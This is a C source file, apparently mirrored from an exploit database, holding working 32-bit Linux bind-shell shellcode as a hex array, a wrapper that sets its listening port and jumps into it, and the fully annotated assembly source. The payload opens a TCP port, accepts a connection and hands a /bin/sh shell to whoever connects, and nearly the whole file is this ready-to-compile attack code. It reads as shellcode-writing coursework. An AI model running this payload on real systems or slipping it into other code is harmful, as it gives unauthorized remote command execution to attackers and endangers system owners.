/*===================================================================*/
/*
Filename: bindshell.c
Author: JollyFrogs ([email protected])
License: This work is licensed under a Creative Commons
Attribution-NonCommercial 4.0 International License.
Compile:
gcc -m32 -fno-stack-protector -z execstack bindshell.c -o bindshell
*/
#include <stdio.h>
#include <string.h>
#include <stdbool.h>
unsigned char shellcode[] = \
"\x31\xc0\x50\x40\x50\x5b\x50\x40\x50\xb0\x66\x89\xe1\xcd\x80\x97"
"\x5b\x58\x66\xb8\x15\xb3\x66\x50\x66\x53\x89\xe1\x31\xc0\xb0\x10"
"\x50\x51\x57\xb0\x66\x89\xe1\xcd\x80\x50\x57\xb0\x66\x43\x43\x89"
"\xe1\xcd\x80\xb0\x66\x43\xcd\x80\x93\x87\xcf\x49\xb0\x3f\xcd\x80"
"\x75\xf9\x50\x59\x50\x5a\x50\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f"
"\x62\x69\x6e\x87\xe3\xcd\x80";
static bool shellcode_zerocheck() {
// initialize counter
int i = 0;
// check each byte in shellcode array for hexidecimal zero value, return false if zero found
for(i = 0; i < sizeof(shellcode)-1; i++) {if (shellcode[i] == '\x00') return false;}
// Return true if no zeroes found
return true;
}
static bool shellcode_setport(char *buf, int port) {
// Check if decimal port is valid
if (port<1024 || port>65535) return false;
// The offset of the port is 21, but reduce by 1 since the array counts from 0
int shellcode_port_offset = 20; // (\x15\xb3)
// convert decimal port to hexidecimal
*(short *)(buf+shellcode_port_offset) = port; // (\x15\xb3) - shellcode array counts from 0
// Swap port bytes to accomodate for Little Endian memory structure
char tmp = buf[shellcode_port_offset];
buf[shellcode_port_offset] = buf[shellcode_port_offset+1];
buf[shellcode_port_offset+1] = tmp;
// Check if the hexidecimal port contains zeroes, if it does then show an error
if (shellcode[20] == '\x00' || shellcode[21] == '\x00') {
printf("port HEX contains zeroes\n"); return false;
}
// Return true if all checks passed
return true;
}
main () {
// Port in decimal - should be higher than 1024 and lower than 65536
int port = 1234;
// Basic error checking
if (!shellcode_setport(shellcode, port)) {printf("ERROR: Invalid port\n");return 0;}
if (!shellcode_zerocheck()) {printf("ERROR: Shellcode contains zeroes\n");return 0;}
// Print shellcode length.
printf("Shellcode Length: %d\n", strlen(shellcode));
// Run assembly commands
__asm__ (
// Initialize registers
"movl $0x12345678, %eax\n\t"
"movl $0x12345678, %ebx\n\t"
"movl $0x12345678, %ecx\n\t"
"movl $0x12345678, %edx\n\t"
"movl $0x12345678, %edi\n\t"
"movl $0x12345678, %esi\n\t"
"movl $0x12345678, %ebp\n\t"
// execute shellcode
"jmp shellcode");
}
/* Assembly source of shellcode:
global _start
section .text
_start:
; parameters for SOCKET(2) are placed on the stack in reverse order
; SOCKET(2) Synopsis: int socket(int domain, int type, int protocol);
; Before instruction "int 0x80" the stack should look like:
; 02 00 00 00 01 00 00 00 00 00 00 00
; ^AF_INET ^S_STREAM ^TCP
xor eax, eax ; EAX = 00000000
push eax ; PUSH 00000000 (TCP)
inc eax ; EAX = 00000001
push eax ; PUSH 00000001 (SOCK_STREAM)
pop ebx ; EBX = 00000001 (SOCKETCALL.SOCKET)
push eax ; PUSH 00000001 (SOCK_STREAM)
inc eax ; EAX = 00000002
push eax ; PUSH 00000002 (AF_INET)
; invoke socketcall to create the socket
mov al, 0x66 ; EAX = 00000066 (SOCKETCALL)
mov ecx, esp ; ECX = points to top of stack (0xBFFFF3E4)
int 0x80 ; SYSCALL SOCKETCALL(2)-SOCKET(2)
xchg edi, eax ; store fd in edi
; parameters for BIND(2) are placed on the stack in reverse order
; BIND(2) Synopsis: int bind(int sockfd, const struct sockaddr *addr,socklen_t addrlen);
; Before instruction "int 0x80" the stack should look like:
; 07 00 00 00 xx xx xx xx 10 00 00 00 02 00 b3 15 00 00 00 00
; ^FD ^ ^structlen ^AFNT ^port ^in_addr
; | PTR to ---------------^
pop ebx ; EBX = 00000002 (SOCKETCALL.BIND)
pop eax ; EAX = 00000001
; Note: Stack = 00000000
mov ax, 0xB315 ; EAX = 0000B315 (5555 reversed)
push ax ; PUSH B315 (sockaddr_2)
push bx ; PUSH 0002 (sockaddr_3)
mov ecx, esp ; ECX = ESP (0xBFFFF3E8)
xor eax, eax ; EAX = 00000000
mov al, 0x10 ; EAX = 00000010
push eax ; PUSH 00000010 (len(sockaddr))
push ecx ; PUSH (*ADDR) (ptr to sockaddr)
push edi ; push (FD) (SOCKFD)
; invoke socketcall to bind the socket to IP and port
mov al, 0x66 ; EAX = 00000066 (SOCKETCALL)
mov ecx, esp ; ECX = points to top of stack (0xBFFFF3DC)
int 0x80 ; SYSCALL SOCKETCALL(2)-BIND(2)
; parameters for LISTEN(2) are placed on the stack in reverse order
; LISTEN(2) Synopsis: listen(int sockfd, int backlog)
; Before instruction "int 0x80" the stack should look like:
; 07 00 00 00 00 00 00 00
; ^FD ^Backlog = 0
; Note that EAX = 00000000 due to return code from SOCKETCALL above
push eax ; PUSH 00000000 (Backlog)
push edi ; PUSH (FD) (SOCKFD)
; invoke socketcall to set the socket in listen mode
mov al, 0x66 ; EAX = 00000066 (SOCKETCALL)
inc ebx ; EBX = 00000003
inc ebx ; EBX = 00000004 (SOCKETCALL.LISTEN)
mov ecx, esp ; ECX = points to top of stack (0xBFFFF3D4)
int 0x80 ; SYSCALL SOCKETCALL(2)-LISTEN(2)
; Note: The selected port is opened on the system and listening
; parameters for ACCEPT(2) are placed on the stack in reverse order
; ACCEPT(2) Synopsis: int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
; Before instruction "int 0x80" the stack should look like:
; 07 00 00 00 00 00 00 00 00 00 00 00
; Note that EAX is set to 0 upon successful execution of SOCKETCALL.LISTEN
; Note that stack at 0xBFFFF3D4 already contains what I need:
; 07 00 00 00 00 00 00 00 00 00 00 00
; invoke socketcall to set the socket to accept connections
mov al, 0x66 ; EAX = 00000066 (SOCKETCALL)
inc ebx ; EBX = 00000005 (SOCKETCALL.ACCEPT)
int 0x80 ; SYSCALL SOCKETCALL(2)-ACCEPT(2)
; use syscal DUP2(2) to copy the stdin(0), stdout(1) and stderr(2)
; DUP2(2) Synopsis: int dup2(int oldfd, int newfd);
xchg eax, ebx ; EBX = CFD, EAX = 00000005
xchg ecx, edi ; ECX = 00000007
; XCHG ECX, EDI saves us having to zero out ecx and then MOV 3
redirect:
dec ecx ; ECX = 00000002 (eventually)
mov al, 0x3f ; DUP2(2) (3 times - ECX=2, ECX=1, ECX=0)
int 0x80 ; SYSCALL DUP2(2) (ECX=2, ECX=1, ECX=0)
jnz redirect ;
; spawn /bin/sh shell
; Note that EAX is set to 00000000 upon last succesful execution of DUP2
push eax ; PUSH 00000000 (NULL byte)
pop ecx ; ECX = 00000000 (EXECVE ARGV)
push eax ; PUSH 00000000 (NULL byte)
pop edx ; EDX = 00000000 (EXECVE ENVP)
; push '/bin//sh, 0' on stack
push eax ; PUSH 00000000 (NULL byte)
mov al, 0xb ; EXECVE(2)
push 0x68732f2f ; "//sh"
push 0x6e69622f ; "/bin"
xchg esp, ebx ; Save a byte by sacrificing unneeded ESP
int 0x80 ; Start /bin/sh in the client socket FD
*/
/*===================================================================*/
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation